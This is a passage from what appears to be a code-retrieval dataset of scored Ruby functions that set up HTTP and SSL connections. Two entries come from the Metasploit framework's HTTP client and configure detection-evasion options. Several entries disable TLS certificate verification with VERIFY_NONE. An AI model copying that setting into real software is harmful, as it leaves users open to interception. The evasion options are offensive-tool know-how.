"text": "def base_client(url, request, read_timeout)\n begin\n Net::HTTP.start(url.host, url.port, use_ssl: use_ssl?(url)) do |http|\n http.read_timeout = read_timeout\n http.request(request)\n end\n rescue SocketError => e\n raise APIConnectionError.new(e.message)\n end\n end",
"title": ""
},
{
"docid": "63dba0b94b4b64ddfa032385e563d31c",
"score": "0.58243555",
"text": "def http_client\n\t\treturn @http_client ||= begin\n\t\t\turi = URI( self.endpoint )\n\n\t\t\thttp = Net::HTTP.new( uri.host, uri.port )\n\t\t\thttp.write_timeout = self.write_timeout\n\n\t\t\tif uri.scheme == 'https'\n\t\t\t\thttp.use_ssl = true\n\t\t\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\t\t\tend\n\n\t\t\thttp\n\t\tend\n\tend",
"title": ""
},
{
"docid": "56864ccc7bb3b80d692d176e79746b50",
"score": "0.5823272",
"text": "def connect!\n @current_server = next_server\n @connection = Connection::Factory.create(@options[:transport], @options[:transport_wrapper], @current_server, @options[:timeout])\n @connection.connect!\n @client = @client_class.new(@options[:protocol].new(@connection.transport, *@options[:protocol_extra_params]))\n rescue Thrift::TransportException, Errno::ECONNREFUSED\n @transport.close rescue nil\n retry\n end",
"title": ""
},
{
"docid": "a151cd6d47ba1e9f4019be360a35ce0a",
"score": "0.58178914",
"text": "def create_http_connection(uri)\n Net::HTTP.new(uri.host, uri.port).tap do |https|\n if uri.scheme == 'https'\n https.use_ssl = true\n https.ca_file = configuration.ca_file unless configuration.ca_file.nil?\n end\n end\n end",
"title": ""
},
{
"docid": "b4452815be371cd94d2ca936dfaaf426",
"score": "0.5817166",
"text": "def connect_with_retry(method = :get, params = {})\n log \"Request: #{method} #{params.inspect}\"\n retries = self.config.connection_retries\n while (retries > 0) do\n response = service.request(params.merge(:method => method))\n\n if response.status == 408\n log \"Connection time-out. Retrying... #{retries}\", :error\n retries -= 1\n else\n retries = 0 # There is no timeout, no need to retry\n end\n end\n response\n end",
"title": ""
},
{
"docid": "348208860446e77b38da50997f4b7bab",
"score": "0.58156794",
"text": "def getHttp(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http\nend",
"title": ""
},
{
"docid": "acd4b5806bfd2198e924980434c9b810",
"score": "0.58014727",
"text": "def setup_http(url, use_ssl)\n\turi = URI.parse(url)\n\thttp = Net::HTTP.new(uri.host, uri.port)\n\thttp.use_ssl = use_ssl\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE if use_ssl\n\treturn http\nend",
"title": ""
},
{
"docid": "cd58a9c9230b7e7d73dc12c252383e32",
"score": "0.5799917",
"text": "def http_connection\n @@http ||= Net::HTTP.new(HostConnect.config.host, HostConnect.config.port)\n end",
"title": ""
},
{
"docid": "3e4812c11afab7bea4147ea1179c91c8",
"score": "0.5766804",
"text": "def connection # TODO: testme\n @connection ||= Net::HTTP.new(@host, @port)\n end",
"title": ""
},
{
"docid": "103a9c2cf5b6144cc81d1d256a5e6fa6",
"score": "0.57455516",
"text": "def create_http(base_uri)\n http = Net::HTTP.new(base_uri.host, base_uri.port)\n http.use_ssl = true\n http\n end",
"title": ""
},
{
"docid": "375dfac6a3876989e7212512e57b667a",
"score": "0.5745019",
"text": "def connect(opts={})\n dossl = false\n if(opts.has_key?('SSL'))\n dossl = opts['SSL']\n else\n dossl = ssl\n end\n\n client_username = opts['username'] || datastore['HttpUsername'] || ''\n client_password = opts['password'] || datastore['HttpPassword'] || ''\n\n nclient = Rex::Proto::Http::Client.new(\n opts['rhost'] || rhost,\n (opts['rport'] || rport).to_i,\n {\n 'Msf' => framework,\n 'MsfExploit' => self,\n },\n dossl,\n ssl_version,\n proxies,\n client_username,\n client_password\n )\n\n # Configure the HTTP client with the supplied parameter\n nclient.set_config(\n 'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(),\n 'agent' => datastore['UserAgent'],\n 'partial' => opts['partial'],\n 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],\n 'uri_full_url' => datastore['HTTP::uri_full_url'],\n 'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'],\n 'pad_uri_version_count' => datastore['HTTP::pad_uri_version_count'],\n 'pad_method_uri_type' => datastore['HTTP::pad_method_uri_type'],\n 'pad_uri_version_type' => datastore['HTTP::pad_uri_version_type'],\n 'method_random_valid' => datastore['HTTP::method_random_valid'],\n 'method_random_invalid' => datastore['HTTP::method_random_invalid'],\n 'method_random_case' => datastore['HTTP::method_random_case'],\n 'version_random_valid' => datastore['HTTP::version_random_valid'],\n 'version_random_invalid' => datastore['HTTP::version_random_invalid'],\n 'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],\n 'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'],\n 'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'],\n 'pad_fake_headers' => datastore['HTTP::pad_fake_headers'],\n 'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'],\n 'pad_get_params' => datastore['HTTP::pad_get_params'],\n 'pad_get_params_count' => datastore['HTTP::pad_get_params_count'],\n 'pad_post_params' => datastore['HTTP::pad_post_params'],\n 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],\n 'uri_fake_end' => datastore['HTTP::uri_fake_end'],\n 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],\n 'header_folding' => datastore['HTTP::header_folding'],\n 'domain' => datastore['DOMAIN'],\n 'DigestAuthIIS' => datastore['DigestAuthIIS']\n )\n\n # NOTE: Please use opts['headers'] to programmatically set headers\n if datastore['HttpRawHeaders'] && File.readable?(datastore['HttpRawHeaders'])\n # Templatize with ERB\n headers = ERB.new(File.read(datastore['HttpRawHeaders'])).result(binding)\n\n # Append templatized headers to existing headers\n nclient.set_config('raw_headers' => headers)\n end\n\n # If this connection is global, persist it\n # Required for findsock on these sockets\n if (opts['global'])\n if (self.client)\n disconnect\n end\n end\n\n self.client = nclient\n\n return nclient\n end",
"title": ""
},
{
"docid": "faea8a20eacde7567b6b6c91d51a1284",
"score": "0.57444227",
"text": "def get_https_connection(url)\n https = Net::HTTP.new(url.host, url.port)\n if(url.scheme == 'https')\n https.use_ssl = true\n https.cert = OpenSSL::X509::Certificate.new( File.read(CERT_FILE) )\n https.key = OpenSSL::PKey::RSA.new( File.read(KEY_FILE), KEY_PASS )\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n https\n end",
"title": ""
},
{
"docid": "92c5e5fe863ee69db7596c5944cc4fb9",
"score": "0.5736249",
"text": "def response\n @response ||= Net::HTTP.start(uri.host, 443, use_ssl: true) do |http|\n http.request create_http_request\n end\n rescue *ConnectionError.errors => e\n raise ConnectionError, e.message\n end",
"title": ""
},
{
"docid": "9c6462aff191c59f8b9fe10fec32d221",
"score": "0.570968",
"text": "def real_connect\n\n\t\tserver_challenge = retrieve_server_challenge()\n\t\tif server_challenge != nil\n\t\t\tsalt = server_challenge.split(':')[0]\n\t\t\t@server_name = server_challenge.split(':')[1]\n\t\t\t@protocol = server_challenge.split(':')[2].to_i\n\t\t\t@supported_auth_types = server_challenge.split(':')[3].split(',')\n\t\t\t@server_endianness = server_challenge.split(':')[4]\n\t\t\tif @@SUPPORTED_PROTOCOLS.include?(@protocol) == false\n\t\t\t\traise MonetDBProtocolError, \"Protocol not supported. The current implementation of ruby-monetdb works with MAPI protocols #{@@SUPPORTED_PROTOCOLS} only.\"\n\t\t\tend\n\t\t\t@pwhash = server_challenge.split(':')[5]\n\t\telse\n\t\t\traise MonetDBConnectionError, \"Error: server returned an empty challenge string.\"\n\t\tend\n\n\t\t# The server supports only RIPMED160 or crypt as an authentication hash function, but the driver does not.\n\t\tif @supported_auth_types.length == 1\n\t\t\tauth = @supported_auth_types[0]\n\t\t\tif auth.upcase == \"RIPEMD160\"\n\t\t\t\traise MonetDBConnectionError, auth.upcase + \" \" + \": algorithm not supported by ruby-monetdb.\"\n\t\t\tend\n\t\tend\n\n\t\treply = build_auth_string_v9(@auth_type, salt, @database)\n\n\t\tif @socket != nil\n\t\t\t@connection_established = true\n\n\t\t\tsend(reply)\n\t\t\tmonetdb_auth = receive\n\n\t\t\tif monetdb_auth.length == 0\n\t\t\t\t# auth succeeded\n\t\t\t\ttrue\n\t\t\telse\n\t\t\t\tif monetdb_auth[0].chr == MonetDBConnection::MSG_REDIRECT\n\t\t\t\t\t#redirection\n\n\t\t\t\t\tredirects = [] # store a list of possible redirects\n\n\t\t\t\t\tmonetdb_auth.split('\\n').each do |m|\n\t\t\t\t\t\t# strip the trailing ^mapi:\n\t\t\t\t\t\t# if the redirect string start with something != \"^mapi:\" or is empty, the redirect is invalid and shall not be included.\n\t\t\t\t\t\tif m[0..5] == \"^mapi:\"\n\t\t\t\t\t\t\tredir = m[6..m.length]\n\t\t\t\t\t\t\t# url parse redir\n\t\t\t\t\t\t\tredirects.push(redir)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$stderr.print \"Warning: Invalid Redirect #{m}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif redirects.size == 0\n\t\t\t\t\t\traise MonetDBConnectionError, \"No valid redirect received\"\n\t\t\t\t\telse\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\turi = URI.split(redirects[0])\n\t\t\t\t\t\t\t# Splits the string on following parts and returns array with result:\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\t# * Scheme\n\t\t\t\t\t\t\t# * Userinfo\n\t\t\t\t\t\t\t# * Host\n\t\t\t\t\t\t\t# * Port\n\t\t\t\t\t\t\t# * Registry\n\t\t\t\t\t\t\t# * Path\n\t\t\t\t\t\t\t# * Opaque\n\t\t\t\t\t\t\t# * Query\n\t\t\t\t\t\t\t# * Fragment\n\t\t\t\t\t\t\tserver_name = uri[0]\n\t\t\t\t\t\t\thost = uri[2]\n\t\t\t\t\t\t\tport = uri[3]\n\t\t\t\t\t\t\tdatabase = uri[5].gsub(/^\\//, '') if uri[5] != nil\n\t\t\t\t\t\trescue URI::InvalidURIError\n\t\t\t\t\t\t\traise MonetDBConnectionError, \"Invalid redirect: #{redirects[0]}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif server_name == MonetDBConnection::MONETDB_MEROVINGIAN\n\t\t\t\t\t\tif @auth_iteration <= MonetDBConnection::MEROVINGIAN_MAX_ITERATIONS\n\t\t\t\t\t\t\t@auth_iteration += 1\n\t\t\t\t\t\t\treal_connect\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\traise MonetDBConnectionError, \"Merovingian: too many iterations while proxying.\"\n\t\t\t\t\t\tend\n\t\t\t\t\telsif server_name == MonetDBConnection::MONETDB_MSERVER\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t@socket.close\n\t\t\t\t\t\trescue\n\t\t\t\t\t\t\traise MonetDBConnectionError, \"I/O error while closing connection to #{@socket}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t# reinitialize a connection\n\t\t\t\t\t\t@host = host\n\t\t\t\t\t\t@port = port\n\n\t\t\t\t\t\tconnect(database, @auth_type)\n\t\t\t\t\telse\n\t\t\t\t\t\t@connection_established = false\n\t\t\t\t\t\traise MonetDBConnectionError, monetdb_auth\n\t\t\t\t\tend\n\t\t\t\telsif monetdb_auth[0].chr == MonetDBConnection::MSG_INFO\n\t\t\t\t\traise MonetDBConnectionError, monetdb_auth\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1653a3bb9edf4a6dc361d707e2f58e0f",
"score": "0.5703547",
"text": "def init_connection(url, username, password); end",
"title": ""
},
{
"docid": "dfb76dbd1eb0f7b848bb1974c3f05f29",
"score": "0.5702267",
"text": "def connection\n Net::HTTP.new(uri.host, uri.port).tap do |client|\n client.use_ssl = uri.scheme == \"https\"\n client.open_timeout = timeout\n client.read_timeout = timeout\n client.write_timeout = timeout if client.respond_to?(:write_timeout=)\n end\n end",
"title": ""
},
{
"docid": "b5fc5b6ad59afc001fe16db76b7e5f9a",
"score": "0.5681722",
"text": "def open_socket_and_ssl_if_needed\n if @ssl.nil? || @sock.nil? || @ssl.closed? || @sock.closed?\n @sock, @ssl = self.open_connection\n end\n end",
"title": ""
},
{
"docid": "68c4ac03787c6ca0a333555741286605",
"score": "0.56756926",
"text": "def perform_request\n Timeout.timeout(request_timeout) do\n options = { use_ssl: self.url.scheme == 'https', read_timeout: request_timeout }\n Net::HTTP.start(self.url.host, self.url.port, options) { |r|\n r.head(self.url)\n }.value\n end\n rescue => e\n raise ConnectionFailed, e\n end",
"title": ""
},
{
"docid": "206abf4e58ddf6b51df9e35ffd77bc95",
"score": "0.5675515",
"text": "def httpcheck(url)\n puts \"/////////////////////\";\n puts \"* calling #{url}\";\n\n # parse URL. The parser is pretty fragile, thus extra mod\n uri = nil;\n begin \n uri = URI.parse(url);\n uri = URI.parse('http://' + url) if !uri.scheme;\n puts \"* host=#{uri.host} port=#{uri.port}\";\n rescue URI::Error => e\n puts \"Invalid URL: '#{url}'\";\n return false;\n end\n\n # create a http object\n http = Net::HTTP.new(uri.host, uri.port); \n http.open_timeout = 5;\n http.read_timeout = 5;\n\n # set ssl\n if (uri.scheme == nil)\n http.use_ssl=(false);\n elsif (uri.scheme.downcase == \"https\")\n http.use_ssl=(true);\n http.verify_mode=(OpenSSL::SSL::VERIFY_NONE);\n elsif (uri.scheme.downcase == \"http\")\n http.use_ssl=(false);\n else\n puts \"Invalid URL schema: '#{url}'\";\n return false\n end\n\n # make http call\n begin\n response = http.get('/');\n puts \"* return type = \" + response.code + \" = \" + response.class.to_s;\n rescue SocketError => e\n puts \"SocketError(Invalid Host?) for '#{url}'\";\n return false;\n end\n\nend",
"title": ""
},
{
"docid": "6761f206911aba0f026326511f09864f",
"score": "0.56689703",
"text": "def https?; end",
"title": ""
},
{
"docid": "908c3cf86c70808677785e894ccf4153",
"score": "0.56599706",
"text": "def http_con\n @connect ||= Net::HTTP.start(@host, @port)\n @connect\n end",
"title": ""
},
{
"docid": "6fe96e02719c55d5aaa0edce7008acf8",
"score": "0.5658468",
"text": "def retry_meth\n @temp = true\n begin\n # First try an extended login. If it fails because the\n # server doesn't support it, fall back to a normal login\n if @temp\n raise\n else\n puts 'Ok'\n end\n rescue Exception #ProtocolError\n if @temp\n @temp = false\n retry\n else\n raise\n end\n end\nend",
"title": ""
},
{
"docid": "55dc142c9c29c431da793261be068d42",
"score": "0.56548107",
"text": "def connect(use_ssl = false)\n @connection = Net::HTTP.new(\"api.smugmug.com\", use_ssl ? 443 : 80)\n @connection.use_ssl = use_ssl\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE if use_ssl\n end",
"title": ""
},
{
"docid": "a562e8a2e4d0640e47617df1dda9dd27",
"score": "0.56519794",
"text": "def tcp_connect(active_host, active_key, active_path, current_page)\n\t# URL shouldn't contain a protocol.\n\tif url_has_protocol(active_host)\n\t\tLogger.error(\"Using http/https in urls hash\")\n\tend\n\n\t# Create socket.\n\thttp = Net::HTTP.new(active_host)\n\tres = http.get(active_path)\n\n\t# If successful response status code...\n\tif $_2xx.include? res.code.to_i\n\t\tdebug_header_status(res.code)\n\t\tparse_response(res, active_key, current_page)\n\n\t\t# If response status code refers to a redirection...\n\telsif $_3xx.include? res.code.to_i\n\t\tdebug_header_status(res.code)\n\t\tres = Net::HTTP.get(URI.parse(http.get(active_path).header['location'])).force_encoding(\"utf-8\");\n\t\tparse_response(res, active_key, current_page)\n\tend\nend",
"title": ""
},
{
"docid": "a3ea4e2338cae69a5af211763a674e03",
"score": "0.5650914",
"text": "def setup_http_session\n @http = Net::HTTP.new(@host, (@use_ssl ? 443 : 80))\n @http.use_ssl = @use_ssl\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @verify_cert\n end",
"title": ""
},
{
"docid": "d1df12fd10880e1ac5e99a8bdb65b323",
"score": "0.5649882",
"text": "def connect!\n Timeout.timeout(timeout, Error::SocketTimeoutError) do\n handle_errors { @tcp_socket.connect(::Socket.pack_sockaddr_in(port, host)) }\n @socket = OpenSSL::SSL::SSLSocket.new(@tcp_socket, context)\n @socket.sync_close = true\n handle_errors { @socket.connect }\n verify_certificate!(@socket)\n self\n end\n end",
"title": ""
},
{
"docid": "1ea19d2e8682a47e6f6e5ab88917d92c",
"score": "0.5633866",
"text": "def create_secure_http(uri, proxy={})\n if proxy.empty?\n http = Net::HTTP.new( uri.host, uri.port )\n else\n http = Net::HTTP.new( uri.host, uri.port,\n proxy[:addr], proxy[:port], proxy[:user], proxy[:pass])\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.open_timeout = 30\n return http\n end",
"title": ""
},
{
"docid": "d90c08a255d44ee586ff21434e28752e",
"score": "0.5627634",
"text": "def initialize(options={})\n @name = options[:name] || 'PersistentHTTP'\n @ca_file = options[:ca_file]\n @certificate = options[:certificate]\n @debug_output = options[:debug_output]\n @default_path = options[:default_path]\n @force_retry = options[:force_retry]\n @headers = options[:header] || {}\n @host = options[:host]\n @idle_timeout = options[:idle_timeout] || 10\n @keep_alive = options[:keep_alive] || 30\n @logger = options[:logger]\n @pool_timeout = options[:pool_timeout]\n @open_timeout = options[:open_timeout]\n @pool_size = options[:pool_size] || 1\n @port = options[:port]\n @private_key = options[:private_key]\n @read_timeout = options[:read_timeout]\n @use_ssl = options[:use_ssl]\n @verify_callback = options[:verify_callback]\n @verify_mode = options[:verify_mode]\n @warn_timeout = options[:warn_timeout] || 0.5\n \n url = options[:url]\n if url\n url = URI.parse(url) if url.kind_of? String\n @default_path ||= url.request_uri\n @host ||= url.host\n @port ||= url.port\n @use_ssl ||= url.scheme == 'https' \n end\n \n @port ||= (@use_ssl ? 443 : 80)\n\n # Hash containing the request counts based on the connection\n @count_hash = Hash.new(0)\n\n raise 'host not set' unless @host\n net_http_args = [@host, @port]\n connection_id = net_http_args.join ':'\n\n proxy = options[:proxy]\n\n @proxy_uri = case proxy\n when :ENV then proxy_from_env\n when URI::HTTP then proxy\n when nil then # ignore\n else raise ArgumentError, 'proxy must be :ENV or a URI::HTTP'\n end\n\n if @proxy_uri then\n @proxy_args = [\n @proxy_uri.host,\n @proxy_uri.port,\n @proxy_uri.user,\n @proxy_uri.password,\n ]\n\n @proxy_connection_id = [nil, *@proxy_args].join ':'\n\n connection_id << @proxy_connection_id\n net_http_args.concat @proxy_args\n end\n\n @pool = GenePool.new(:name => name + '-' + connection_id,\n :pool_size => @pool_size,\n :timeout => @pool_timeout,\n :warn_timeout => @warn_timeout,\n :idle_timeout => @idle_timeout,\n :close_proc => nil,\n :logger => @logger) do\n begin\n @logger.debug { \"#{name}: Creating connection\" } if @logger\n connection = Net::HTTP.new(*net_http_args)\n connection.set_debug_output @debug_output if @debug_output\n connection.open_timeout = @open_timeout if @open_timeout\n connection.read_timeout = @read_timeout if @read_timeout\n\n ssl connection if @use_ssl\n\n connection.start\n @logger.debug { \"#{name} #{connection}: Connection created\" } if @logger\n connection\n rescue Errno::ECONNREFUSED\n raise Error, \"connection refused: #{connection.address}:#{connection.port}\"\n rescue Errno::EHOSTDOWN\n raise Error, \"host down: #{connection.address}:#{connection.port}\"\n end\n end\n end",
"title": ""
},
{
"docid": "2d32b0c7675ccfb325a8fb8015785bca",
"score": "0.5616234",
"text": "def reconnect\n require \"socket\"\n print \"Http2: Reconnect.\\n\" if @debug\n \n #Reset variables.\n @keepalive_max = nil\n @keepalive_timeout = nil\n @connection = nil\n @contenttype = nil\n @charset = nil\n \n #Open connection.\n if @args[:proxy]\n print \"Http2: Initializing proxy stuff.\\n\" if @debug\n @sock_plain = TCPSocket.new(@args[:proxy][:host], @args[:proxy][:port])\n @sock = @sock_plain\n \n @sock.write(\"CONNECT #{@args[:host]}:#{@args[:port]} HTTP/1.0#{@nl}\")\n @sock.write(\"User-Agent: #{@uagent}#{@nl}\")\n \n if @args[:proxy][:user] and @args[:proxy][:passwd]\n credential = [\"#{@args[:proxy][:user]}:#{@args[:proxy][:passwd]}\"].pack(\"m\")\n credential.delete!(\"\\r\\n\")\n @sock.write(\"Proxy-Authorization: Basic #{credential}#{@nl}\")\n end\n \n @sock.write(@nl)\n \n res = @sock.gets\n raise res if res.to_s.downcase != \"http/1.0 200 connection established#{@nl}\"\n \n res_empty = @sock.gets\n raise \"Empty res wasnt empty.\" if res_empty != @nl\n else\n print \"Http2: Opening socket connection to '#{@args[:host]}:#{@args[:port]}'.\\n\" if @debug\n @sock_plain = TCPSocket.new(@args[:host], @args[:port].to_i)\n end\n \n if @args[:ssl]\n print \"Http2: Initializing SSL.\\n\" if @debug\n require \"openssl\"\n \n ssl_context = OpenSSL::SSL::SSLContext.new\n #ssl_context.verify_mode = OpenSSL::SSL::VERIFY_PEER\n \n @sock_ssl = OpenSSL::SSL::SSLSocket.new(@sock_plain, ssl_context)\n @sock_ssl.sync_close = true\n @sock_ssl.connect\n \n @sock = @sock_ssl\n else\n @sock = @sock_plain\n end\n end",
"title": ""
},
{
"docid": "05d16376352384d588c53399878cebfa",
"score": "0.5611131",
"text": "def with_connection(url, &block)\n request = ->(conn) { block.call(Connection.new(conn, url, @logger, @default_headers)) }\n\n begin\n Net::HTTP.start(url.host, url.port,\n use_ssl: true, cert_store: @store,\n cert: @cert, key: @key,\n &request)\n rescue StandardError => e\n raise ConnectionFailed.create(e,\n \"Failed connecting to #{url.full_url}\\n\" +\n \" Root cause: #{e.message}\")\n end\n end",
"title": ""
},
{
"docid": "7e761b565c7a73c83b0ffdd5b0036c8e",
"score": "0.5609872",
"text": "def create_secure_http(uri, proxy={})\n if proxy.empty?\n http = Net::HTTP.new( uri.host, uri.port )\n else\n http = Net::HTTP.new( uri.host, uri.port,\n proxy[:addr], proxy[:port], proxy[:user], proxy[:pass])\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.open_timeout = 30\n return http\n end",
"title": ""
},
{
"docid": "f97fd2935fd0d035280e27fea54c1245",
"score": "0.5607861",
"text": "def make_connection\n Rightscale::HttpConnection.new(:user_agent => \"RightLink v#{AgentConfig.protocol_version}\",\n :logger => @logger,\n :exception => ReposeConnectionFailure,\n :fail_if_ca_mismatch => true,\n :ca_file => get_ca_file)\n end",
"title": ""
},
{
"docid": "c79f6f15767fdfd2c1c92ea2e7270b22",
"score": "0.5606273",
"text": "def open_connection\n host = 'api.logentries.com'\n socket = TCPSocket.new(host, 20000)\n\n cert_store = OpenSSL::X509::Store.new\n cert_store.set_default_paths\n\n ssl_context = OpenSSL::SSL::SSLContext.new()\n ssl_context.cert_store = cert_store\n\n ssl_version_candidates = [:TLSv1_2, :TLSv1_1, :TLSv1]\n ssl_version_candidates = ssl_version_candidates.select { |version| OpenSSL::SSL::SSLContext::METHODS.include? version }\n if ssl_version_candidates.empty?\n raise \"Could not find suitable TLS version\"\n end\n # currently we only set the version when we have no choice\n ssl_context.ssl_version = ssl_version_candidates[0] if ssl_version_candidates.length == 1\n ssl_context.verify_mode = OpenSSL::SSL::VERIFY_PEER\n ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)\n ssl_socket.hostname = host if ssl_socket.respond_to?(:hostname=)\n ssl_socket.sync_close = true\n Timeout::timeout(10) do\n ssl_socket.connect\n end\n ssl_socket\n end",
"title": ""
},
{
"docid": "e1dad11bab2d1960eabdb396b118d649",
"score": "0.5599501",
"text": "def open_socket(uri)\n \thttp_connection = Net::HTTP.new(uri.hostname, uri.port)\n\t\thttp_connection.use_ssl = true\n\t\thttp_connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\thttp_connection\n\tend",
"title": ""
},
{
"docid": "345c4829f71ba041a81b43b2661882bf",
"score": "0.55965173",
"text": "def connect(opts={})\n\t\tdossl = false\n\t\tif(opts.has_key?('SSL'))\n\t\t\tdossl = opts['SSL']\n\t\telse\n\t\t\tdossl = ssl\n\t\tend\n\n\t\tnclient = Rex::Proto::Http::Client.new(\n\t\t\trhost,\n\t\t\trport.to_i,\n\t\t\t{\n\t\t\t\t'Msf' => framework,\n\t\t\t\t'MsfExploit' => self,\n\t\t\t},\n\t\t\tdossl,\n\t\t\tssl_version,\n\t\t\tproxies\n\t\t)\n\n\t\t# Configure the HTTP client with the supplied parameter\n\t\tnclient.set_config(\n\t\t\t'vhost' => self.vhost(),\n\t\t\t'agent' => datastore['UserAgent'],\n\t\t\t'basic_auth' => self.basic_auth,\n\t\t\t'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],\n\t\t\t'uri_full_url' => datastore['HTTP::uri_full_url'],\n\t\t\t'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'],\n\t\t\t'pad_uri_version_count' => datastore['HTTP::pad_uri_version_count'],\n\t\t\t'pad_method_uri_type' => datastore['HTTP::pad_method_uri_type'],\n\t\t\t'pad_uri_version_type' => datastore['HTTP::pad_uri_version_type'],\n\t\t\t'method_random_valid' => datastore['HTTP::method_random_valid'],\n\t\t\t'method_random_invalid' => datastore['HTTP::method_random_invalid'],\n\t\t\t'method_random_case' => datastore['HTTP::method_random_case'],\n\t\t\t'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],\n\t\t\t'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'],\n\t\t\t'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'],\n\t\t\t'pad_fake_headers' => datastore['HTTP::pad_fake_headers'],\n\t\t\t'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'],\n\t\t\t'pad_get_params' => datastore['HTTP::pad_get_params'],\n\t\t\t'pad_get_params_count' => datastore['HTTP::pad_get_params_count'],\n\t\t\t'pad_post_params' => datastore['HTTP::pad_post_params'],\n\t\t\t'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],\n\t\t\t'uri_fake_end' => datastore['HTTP::uri_fake_end'],\n\t\t\t'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],\n\t\t\t'header_folding' => datastore['HTTP::header_folding']\n\t\t)\n\n\t\t# If this connection is global, persist it\n\t\t# Required for findsock on these sockets\n\t\tif (opts['global'])\n\t\t\tif (self.client)\n\t\t\t\tdisconnect\n\t\t\tend\n\n\t\t\tself.client = nclient\n\t\tend\n\n\t\treturn nclient\n\tend",
"title": ""
},
{
"docid": "ed48d3d7a342fb2fd6a6b31ea997c235",
"score": "0.55885744",
"text": "def connect!\n Timeout.timeout(options[:connect_timeout], Error::SocketTimeoutError, \"The socket took over #{options[:connect_timeout]} seconds to connect\") do\n map_exceptions do\n @tcp_socket.connect(::Socket.pack_sockaddr_in(port, host))\n end\n @socket = OpenSSL::SSL::SSLSocket.new(@tcp_socket, context)\n begin\n @socket.hostname = @host_name\n @socket.sync_close = true\n map_exceptions do\n @socket.connect\n end\n verify_certificate!(@socket)\n verify_ocsp_endpoint!(@socket)\n rescue\n @socket.close\n @socket = nil\n raise\n end\n self\n end\n end",
"title": ""
},
{
"docid": "3b50de68c61a498ddaf92507fe8f701f",
"score": "0.5579931",
"text": "def connection(method)\n @uri = URI.parse(API_URI + \"#{method}\")\n @http = Net::HTTP.new(uri.host, uri.port)\n @http.use_ssl = true\n end",
"title": ""
},
{
"docid": "1f6ba7a940c6341f950ac1a5e8c1ee33",
"score": "0.5578514",
"text": "def create_secure_http(uri, proxy={})\n if proxy.empty?\n http = Net::HTTP.new( uri.host, uri.port )\n else\n http = Net::HTTP.new( uri.host, uri.port,\n proxy[:addr], proxy[:port], proxy[:user], proxy[:pass])\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.open_timeout = 30\n return http\n end",
"title": ""
},
{
"docid": "cdc510c04911dd3f46dca3086815614a",
"score": "0.5572681",
"text": "def initialize(options={})\n @name = options[:name] || 'PeristentHTTP::Connection'\n @ca_file = options[:ca_file]\n @certificate = options[:certificate]\n @debug_output = options[:debug_output]\n @default_path = options[:default_path]\n @force_retry = options[:force_retry]\n @headers = options[:header] || {}\n @host = options[:host]\n @keep_alive = options[:keep_alive] || 30\n @logger = options[:logger]\n @port = options[:port]\n @private_key = options[:private_key]\n @open_timeout = options[:open_timeout]\n @read_timeout = options[:read_timeout]\n @use_ssl = options[:use_ssl]\n @verify_callback = options[:verify_callback]\n @verify_mode = options[:verify_mode]\n @after_connect = options[:after_connect]\n # Because maybe we want a non-persistent connection and are just using this for the proxy stuff\n @non_persistent = options[:non_persistent]\n\n url = options[:url]\n if url\n url = URI.parse(url) if url.kind_of? String\n @default_path ||= url.request_uri\n @host ||= url.host\n @port ||= url.port\n @use_ssl ||= url.scheme == 'https'\n end\n\n @port ||= (@use_ssl ? 443 : 80)\n\n raise 'host not set' unless @host\n @net_http_args = [@host, @port]\n\n proxy = options[:proxy]\n @proxy_uri = case proxy\n when :ENV then proxy_from_env\n when URI::HTTP then proxy\n when nil then # ignore\n else raise ArgumentError, 'proxy must be :ENV or a URI::HTTP'\n end\n\n if @proxy_uri then\n @proxy_args = [\n @proxy_uri.host,\n @proxy_uri.port,\n @proxy_uri.user,\n @proxy_uri.password,\n ]\n\n @net_http_args.concat @proxy_args\n end\n\n @name += ':' + @net_http_args.join(':')\n @logger.debug { \"#{@name}: Creating connection\" } if @logger\n renew\n end",
"title": ""
},
{
"docid": "ef7bb69e0b65ef5666c6463bb3f5c29e",
"score": "0.55700785",
"text": "def create_http(url)\n uri = URI(url)\n http = Net::HTTP.new(uri.hostname, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n http\n end",
"title": ""
},
{
"docid": "8e14af8740cb4240ca0bd97c8815af14",
"score": "0.5569325",
